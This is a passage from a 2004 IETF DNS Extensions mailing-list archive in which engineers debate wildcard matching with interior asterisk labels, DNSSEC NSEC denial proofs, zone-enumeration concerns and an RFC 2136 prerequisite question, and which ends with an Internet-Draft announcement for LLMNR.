perspective. At the very least, isn't part of the justification for having a concept of "empty non-terminal"s at all (a concept that I think belongs to an old-fashioned "tree" paradigm rather than the more modern index-into-a-database paradigm, and therefore rather difficult to convey to novices who often aren't so steeped in hierarchical design models) the alleged ability of a caching resolver to "prune" the namespace, so that queries for names underneath a "branch" that is known to not exist at all (i.e. an empty non-terminal) can be automatically answered in the negative without having to incur a subsidiary query to the authoritative servers for the zone? If we're going to consider NXDOMAIN and NODATA to be functionally equivalent, then I say let's go all the way and just abolish the notion of an "empty non-terminal" altogether. K.I.S.S. If, on the other hand, NXDOMAIN and NODATA are not, "[f]or all practical purposes [...] exactly the same", then the spec should either a) refine the lookup algorithm to *only* give special meaning to asterisk labels that are part of "wildcard"s, or b) broaden the definition of "wildcard" to include any name with an asterisk label in it. Hopefully the new draft can reconcile the tension that exists between _de_jure_ "wildcards" and _de_facto_ "names containing asterisk labels that might cause special behavior within the lookup algorithm". In addition to the difference between an NXDOMAIN and a NODATA response, there is still the legalistic question of whether Section 4.3.3's prohibition on multiple asterisk labels in a "wildcard" owner name functionally "turns off" the special behavior that would otherwise occur with asterisk labels, in the case where none of the multiple-asterisk-labels happens to be the first label of the name, and therefore the name itself does not technically qualify as a "wildcard" under 4.3.3's definition... - Kevin -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: dictionary attack on nameservers Date: Wed, 8 Sep 2004 10:20:59 +0200 Organization: RIPE NCC Lines: 26 Sender: owner-namedroppers@ops.ietf.org References: <16702.11978.922191.709874@giles.gnomon.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 10:29:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <16702.11978.922191.709874@giles.gnomon.org.uk> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled X-RIPE-Signature: 66e2b9a788ff70bc647b0372a39c9c14 Precedence: bulk On Tue, 7 Sep 2004 22:57:30 +0100 Roy Badami <roy@gnomon.org.uk> wrote: > However Olaf contacted me privately requesting For the record this was my request: Hello, I am sending this message to a few people that where had an outspoken meaning in this discussion. With reference to http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01600.html would you mind giving a 20 lines conclusion of your arguments? Thanks, -- Olaf -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Tom Schmitt" <TomSchmitt@gmx.de> Subject: Interpretation of RFC 2136 Date: Wed, 8 Sep 2004 10:30:24 +0200 (MEST) Lines: 66 Sender: owner-namedroppers@ops.ietf.org References: <200409072217.i87MHbQe037524@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 10:37:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Priority: 3 (Normal) X-Authenticated: #21806675 X-Mailer: WWW-Mail 1.6 (Global Message Exchange) X-Flags: 0001 Precedence: bulk Hi, in RFC 2136 (Dynamic Updates in the Domain Name System) there are a section explaining the behavior how a server react to the updates where is a section which refers to Prerequisites: > > (2) RRset exists (value dependent). A set of RRs with a > specified NAME and TYPE exists and has the same members > with the same RDATAs as the RRset specified here in this > Section. > My understanding of this is, that when I sent prereq yxrrset foo.baa.com A 10.0.0.2 I'll get NOERROR if there is a record "foo.baa.com A 10.0.0.2" and I will get NXRRSET if there is no such a record. Now I discovered, there are circumstances in which the Bind does not react in this way. If there is such a record but also another record with the same name and type, but another IP-Adress, then the Bind answer NXRRSET even though such a record exist. I send a question regarding this to the bind-mailinglist, but the answer was, that it is no bug, but a question of interpreting RFC 2136: > > (2) RRset exists (value dependent). A set of RRs with a > specified NAME and TYPE exists and has the same members > with the same RDATAs as the RRset specified here in this > Section. > > The prerequisite section talks about RR sets. This is a > exact match. Unfortunately there is no way to specify a > partial match. For a partial match it would have words to > like. > > (2) RRset exists (value dependent). A set of RRs with a > specified NAME and TYPE exists and has the same members > with the same RDATAs as the RRset specified here in this > Section plus possibly other RRs with the same NAME and TYPE. > > If you feel our interpretation is wrong this should be discussed > on namedroppers. > > Mark Andrews, ISC So what is the right interprtation? And if the version of Mark Andrews is right, is there a way to determinate if a record exist which will word in all circumstances? Thanks, Tom. -- NEU: Bis zu 10 GB Speicher f�r e-mails & Dateien! 1 GB bereits bei GMX FreeMail http://www.gmx.net/de/go/mail -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Miek Gieben <miekg@atoom.net> Subject: Re: dictionary attack on nameservers Date: Wed, 8 Sep 2004 11:55:46 +0200 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <16702.11978.922191.709874@giles.gnomon.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 12:08:54 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Mail-Followup-To: namedroppers@ops.ietf.org Content-Disposition: inline In-Reply-To: <16702.11978.922191.709874@giles.gnomon.org.uk> User-Agent: Vim/Mutt/Linux X-Home: www.miek.nl X-Virus-Scanned: by amavisd-new Precedence: bulk Hello, I could only manage to write 17 lines :-) But here is goes: First of all, any solution to be found for the "problem" of enumeration is a solution that will only work for 50% (as there are other ways of getting the data). If think a protocol change is a big sacrifice for a non optimal solution. Secondly only a few TLD's have expressed their concern about this, which is, IMO, again another reason not to fiddle with the protocol. That said, I also take the view that enumeration in DNSSEC should not be made easier than it is today. The requirements from Ed [1] are a good starting point. But as Ed said - you will never have a solution that will satisfy all these contraints. [1] http://ops.ietf.org/lists/namedroppers/namedroppers.2004/msg01610.html grtz Miek -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Jelte Jansen <jelte@NLnetLabs.nl> Subject: Re: dictionary attack on nameservers Date: Wed, 08 Sep 2004 12:10:25 +0200 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <16702.11978.922191.709874@giles.gnomon.org.uk> <20040908095546.GA24356@atoom.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 12:19:11 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.5 (X11/20040306) X-Accept-Language: en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <20040908095546.GA24356@atoom.net> Precedence: bulk Okay, here's my 20 lines. --start line count-- I think Lewis summed it up pretty well, and I don't see any way to satisfy all these constraints either, it would be great if someone else would. One of the biggest problems I have with all this is that DNS(SEC) is complicated enough as it is, and we should be really really really sure that it is a problem (...of DNS (...on the protocol level)), before we start adding yet more complexity to it all (which is a security risk itself). For those who have problems with enumeration, online signing shall probably not be a solution either, but muddying up the namespace will not make administrating zones any easier. Insofar i have read the proposals I have serious doubts if they solve the enumeration problem, but that can probably be fixed, and I haven't given them much attention (see above). The 5 requirements mentioned by Lewis should be at least present in the requirements documentation, be it as hard requirements or strong considerations, as the trade-off for any solution should be well considered. -- line 20 -- Jelte -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Wed, 08 Sep 2004 14:02:37 +0100 Lines: 59 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 15:14:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020411bd63a804f192@[192.168.1.100]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 14:42 +0100 9/6/04, Ben Laurie wrote: > >> What I want to know is: what does DNSSEC have to demonstrate to be >> sure it has >> proved there's no wildcard match? Given the apparent lack of clarity, >> can we be >> sure we know it does that currently? > > > To be clear, this question is getting ahead of the draft, OTOH it is the > question that spurred the writing of the draft. > > If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to > provide a means for the recipient to validate the received message. > > I need to tie the query to the lack of data. If I were able to sign a > tailored message - including the original query plus the empty data > return (or name error) - then all that is needed is to do that. The > recipient would see the signed denial, get the key to validate it, and > we are more or less done. > > Signing a tailored response requires on-line signing. (I assume we all > have a good idea of the issues that entails.) > > The NSEC approach uses precomputed statements (I assume we all know > that). Combining the NSEC statements with 4.3.2, we need to supply one > NSEC statement per "failure" to match in 4.3.2. In the case of a name > error, one error is the failure to find an exact match, a second error > is the failure to find the '*'. That is if there is a "the" '*'. If there are multiple possibilities (e.g. a '*' in the middle somewhere) then you need to provide further proofs. > That's what's needed...you'll note that there's the first level > requirement - being able to answer with a negative signed answer - and > then the second level requirement which is dependent on the design > branch. (I.e., an NSEC needed for the name and one for the wild card - > if we do NSEC.) Indeed. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: more wild cards Date: Wed, 08 Sep 2004 23:54:58 +1000 Lines: 85 Sender: owner-namedroppers@ops.ietf.org References: <413F02ED.70506@algroup.co.uk> Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 16:09:12 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-reply-to: Your message of "Wed, 08 Sep 2004 14:02:37 +0100." <413F02ED.70506@algroup.co.uk> Precedence: bulk > Edward Lewis wrote: > > > At 14:42 +0100 9/6/04, Ben Laurie wrote: > > > >> What I want to know is: what does DNSSEC have to demonstrate to be > >> sure it has > >> proved there's no wildcard match? Given the apparent lack of clarity, > >> can we be > >> sure we know it does that currently? > > > > > > To be clear, this question is getting ahead of the draft, OTOH it is the > > question that spurred the writing of the draft. > > > > If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to > > provide a means for the recipient to validate the received message. > > > > I need to tie the query to the lack of data. If I were able to sign a > > tailored message - including the original query plus the empty data > > return (or name error) - then all that is needed is to do that. The > > recipient would see the signed denial, get the key to validate it, and > > we are more or less done. > > > > Signing a tailored response requires on-line signing. (I assume we all > > have a good idea of the issues that entails.) > > > > The NSEC approach uses precomputed statements (I assume we all know > > that). Combining the NSEC statements with 4.3.2, we need to supply one > > NSEC statement per "failure" to match in 4.3.2. In the case of a name > > error, one error is the failure to find an exact match, a second error > > is the failure to find the '*'. > > That is if there is a "the" '*'. If there are multiple possibilities > (e.g. a '*' in the middle somewhere) then you need to provide further > proofs. No. You need to prove the QNAME does not exist. You need to prove the (singular) wildcard does not exist. You need to prove that the wildcard without the first label exists. This comes directly from RFC 1034. If you look at RFC 1034 you will see that for any given zone and QNAME there is one and only one possible wildcard match. With NSEC you can always do this with a maximum of two records and if you are lucky with one. The NSEC record that proves that the QNAME does not exist also identifies which wildcard needs to be checked and provides the proof of existance of the wildcard without the first label. Mark > > That's what's needed...you'll note that there's the first level > > requirement - being able to answer with a negative signed answer - and > > then the second level requirement which is dependent on the design > > branch. (I.e., an NSEC needed for the name and one for the wild card - > > if we do NSEC.) > > Indeed. > > Cheers, > > Ben. > > -- > http://www.apache-ssl.org/ben.html http://www.thebunker.net/ > > "There is no limit to what a man can do or how far he can go if he > doesn't mind who gets the credit." - Robert Woodruff > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: thesaurus attack Date: Wed, 8 Sep 2004 10:13:39 -0400 Lines: 61 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 16:24:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 To: namedroppers@ops.ietf.org Precedence: bulk Now that I've got your attention, let's talk wild cards... In the past week or so - 1) The history of wanting to clean up what's the deal with wild cards has returned, with some talk about legal names. (This is one of the issues on the table.) 2) A well known coder supported the idea of making some names illegal, presumably this makes the coding cleaner as you then know to have "if"'s in some places. 3) A well known protocol analyst rejected the idea of makeing some names illegal because imposing restrictions would have two impacts - possibly retroactively creating bugs in code and restricting the theory and concept of the protocol. 4) Many unnamed operators have remained silent on the subject because no one really does this anyway. Oh, 'cept that the MARID WG seems to have thought they might have wanted to open this box belonging to Pandora. As editor of the document, I'd like to see us all get to something we can live with. From the MARID experience, it's clear that we want to clarify what's going on here, ergo, we need to do something. I'll float this idea. It's an idea, I think it can work, but it's up to the WG. REMOVE the restriction in 1034: "<anydomain> should not contain other * labels". This opens the protocol to places it's not been, so there's no danger to old code. Further, by relaxing a restriction it does not impinge another part of the protocol. As far as "is it doable" - a lot of text has already been floated showing how the matching is "supposed to" work in the face of interior "*"s. No one pointed out a problem with it until the words in 1034 were raised. Those words in 1034 are the only ones that define "illegal" names in DNS. Without them, we have no restrictions other than length (label and name). In addition, dropping the restriction drops one more "if" statement (whose "then" clause wasn't really defined) while still leaving us with a "decidable" algorithm. Comments? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Wed, 8 Sep 2004 09:59:36 -0400 Lines: 68 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 16:25:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <413F02ED.70506@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 14:02 +0100 9/8/04, Ben Laurie wrote: >Edward Lewis wrote: > >> At 14:42 +0100 9/6/04, Ben Laurie wrote: >> >>> What I want to know is: what does DNSSEC have to demonstrate to be sure it >>> has proved there's no wildcard match? Given the apparent lack of clarity, >>> can we be sure we know it does that currently? >> >> To be clear, this question is getting ahead of the draft, OTOH it is the >> question that spurred the writing of the draft. >> If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to provide >> a means for the recipient to validate the received message. >> I need to tie the query to the lack of data. If I were able to sign a >> tailored message - including the original query plus the empty data return >> (or name error) - then all that is needed is to do that. The recipient >> would see the signed denial, get the key to validate it, and we are more >> or less done. >> >> Signing a tailored response requires on-line signing. (I assume we all >> have a good idea of the issues that entails.) >> The NSEC approach uses precomputed statements (I assume we all know that). >> Combining the NSEC statements with 4.3.2, we need to supply one NSEC >> statement per "failure" to match in 4.3.2. In the case of a name error, >> one error is the failure to find an exact match, a second error is the >> failure to find the '*'. > >That is if there is a "the" '*'. If there are multiple possibilities (e.g. a >'*' in the middle somewhere) then you need to provide further proofs. There are no multiple possibilities. That's the point of the closest encloser - there is one and only one node present in the DNS data tree that is closest to the sought name. The *only* wild card that is eligible to match the sought name is then "*.<closest encloser>." This is regardless of the contents (label sequence) of the "closest encloser". Suspending disbelief for the moment, let's say 1034 didn't restrict internal '*'s. If there was the name "*. one.*.two.example.com" and I was matching "zebra.donkey.one.*.two.example.com"... the closest encloser would be one.*.two.example.com (assuming no donkey or zebra.donkey). In that case, "zebra.donkey" matches the first (leftmost) "*" in the wild card. (This is all cool, 'cept for the blurb in 1034. It really is...;)) >> That's what's needed...you'll note that there's the first level >>requirement - being able to answer with a negative signed answer - >>and then the second level requirement which is dependent on the >>design branch. (I.e., an NSEC needed for the name and one for the >>wild card - if we do NSEC.) > >Indeed. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Wed, 08 Sep 2004 15:32:27 +0100 Lines: 77 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 16:43:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020406bd64beea9a38@[192.136.136.102]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 14:02 +0100 9/8/04, Ben Laurie wrote: > >> Edward Lewis wrote: >> >>> At 14:42 +0100 9/6/04, Ben Laurie wrote: >>> >>>> What I want to know is: what does DNSSEC have to demonstrate to be >>>> sure it >>>> has proved there's no wildcard match? Given the apparent lack of >>>> clarity, >>>> can we be sure we know it does that currently? >>> >>> >>> To be clear, this question is getting ahead of the draft, OTOH it is >>> the >>> question that spurred the writing of the draft. >>> If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to >>> provide >>> a means for the recipient to validate the received message. >>> I need to tie the query to the lack of data. If I were able to sign a >>> tailored message - including the original query plus the empty data >>> return >>> (or name error) - then all that is needed is to do that. The recipient >>> would see the signed denial, get the key to validate it, and we are >>> more >>> or less done. >>> >>> Signing a tailored response requires on-line signing. (I assume we all >>> have a good idea of the issues that entails.) >>> The NSEC approach uses precomputed statements (I assume we all know >>> that). >>> Combining the NSEC statements with 4.3.2, we need to supply one NSEC >>> statement per "failure" to match in 4.3.2. In the case of a name >>> error, >>> one error is the failure to find an exact match, a second error is the >>> failure to find the '*'. >> >> >> That is if there is a "the" '*'. If there are multiple possibilities >> (e.g. a >> '*' in the middle somewhere) then you need to provide further proofs. > > > There are no multiple possibilities. That's the point of the closest > encloser - there is one and only one node present in the DNS data tree > that is closest to the sought name. > > The *only* wild card that is eligible to match the sought name is then > "*.<closest encloser>." This is regardless of the contents (label > sequence) of the "closest encloser". > > Suspending disbelief for the moment, let's say 1034 didn't restrict > internal '*'s. If there was the name "*. one.*.two.example.com" and I > was matching "zebra.donkey.one.*.two.example.com"... the closest > encloser would be one.*.two.example.com (assuming no donkey or > zebra.donkey). In that case, "zebra.donkey" matches the first > (leftmost) "*" in the wild card. Well, this is certainly my understanding, too, but I thought the discussion was heading towards it possibly not being true! Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Wed, 8 Sep 2004 12:20:43 -0400 Lines: 26 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd64c0ca0a9b@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org, edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 18:32:35 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <a06020407bd64c0ca0a9b@[192.136.136.102]> To: Edward Lewis <edlewis@arin.net> Precedence: bulk At 10:13 -0400 9/8/04, Edward Lewis wrote: >As far as "is it doable" - a lot of text has already been floated showing how >the matching is "supposed to" work in the face of interior "*"s. No one >pointed out a problem with it until the words in 1034 were raised. In another conversation, it was pointed out that I should mention where this text is. It's in a retired version of the wcard draft, but available here: http://www.potaroo.net/ietf/old-ids/draft-ietf-dnsext-wcard-clarify-00.txt Look in "Appendix A." -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Wed, 8 Sep 2004 12:18:50 -0400 Lines: 28 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 18:48:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <413F17FB.1010907@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 15:32 +0100 9/8/04, Ben Laurie wrote: >> Suspending disbelief for the moment, let's say 1034 didn't restrict internal >>'*'s. If there was the name "*. one.*.two.example.com" and I was matching >>"zebra.donkey.one.*.two.example.com"... the closest encloser would be >>one.*.two.example.com (assuming no donkey or zebra.donkey). In that case, >>"zebra.donkey" matches the first (leftmost) "*" in the wild card. > >Well, this is certainly my understanding, too, but I thought the discussion >was heading towards it possibly not being true! Just to make sure I understand - given the zig-zag nature of *my* comment, I'm not clear on which "heading" you are talking about. ;) Are you favoring allowing internal "*"s in all cases, as is proposed in the "thesaurus attack" message? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From i-d-announce-bounces@ietf.org Fri Dec 29 10:46:06 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-mdns-35.txt Date: Wed, 08 Sep 2004 15:35:51 -0400 Lines: 102 Sender: i-d-announce-bounces@ietf.org Reply-To: internet-drafts@ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: i-d-announce-bounces@ietf.org Wed Sep 08 21:52:38 2004 Return-path: <i-d-announce-bounces@ietf.org> To: i-d-announce@ietf.org X-BeenThere: i-d-announce@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: i-d-announce.ietf.org List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/i-d-announce>, <mailto:i-d-announce-request@ietf.org?subject=unsubscribe> List-Post: <mailto:i-d-announce@ietf.org> List-Help: <mailto:i-d-announce-request@ietf.org?subject=help> List-Subscribe: <https://www1.ietf.org/mailman/listinfo/i-d-announce>, <mailto:i-d-announce-request@ietf.org?subject=subscribe> Errors-To: i-d-announce-bounces@ietf.org --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Linklocal Multicast Name Resolution (LLMNR) Author(s) : L. Esibov, et al. Filename : draft-ietf-dnsext-mdns-35.txt Pages : 26 Date : 2004-9-8 Today, with the rise of home networking, there are an increasing number of ad-hoc networks operating without a Domain Name System (DNS) server. The goal of Link-Local Multicast Name Resolution (LLMNR) is to enable name resolution in scenarios in which conventional DNS name resolution is not possible. LLMNR supports all current and future DNS formats, types and classes, while operating on a separate port from DNS, and with a distinct resolver cache. Since LLMNR only operates on the local link, it cannot be considered a substitute for DNS. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-mdns-35.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-mdns-35.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-mdns-35.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" 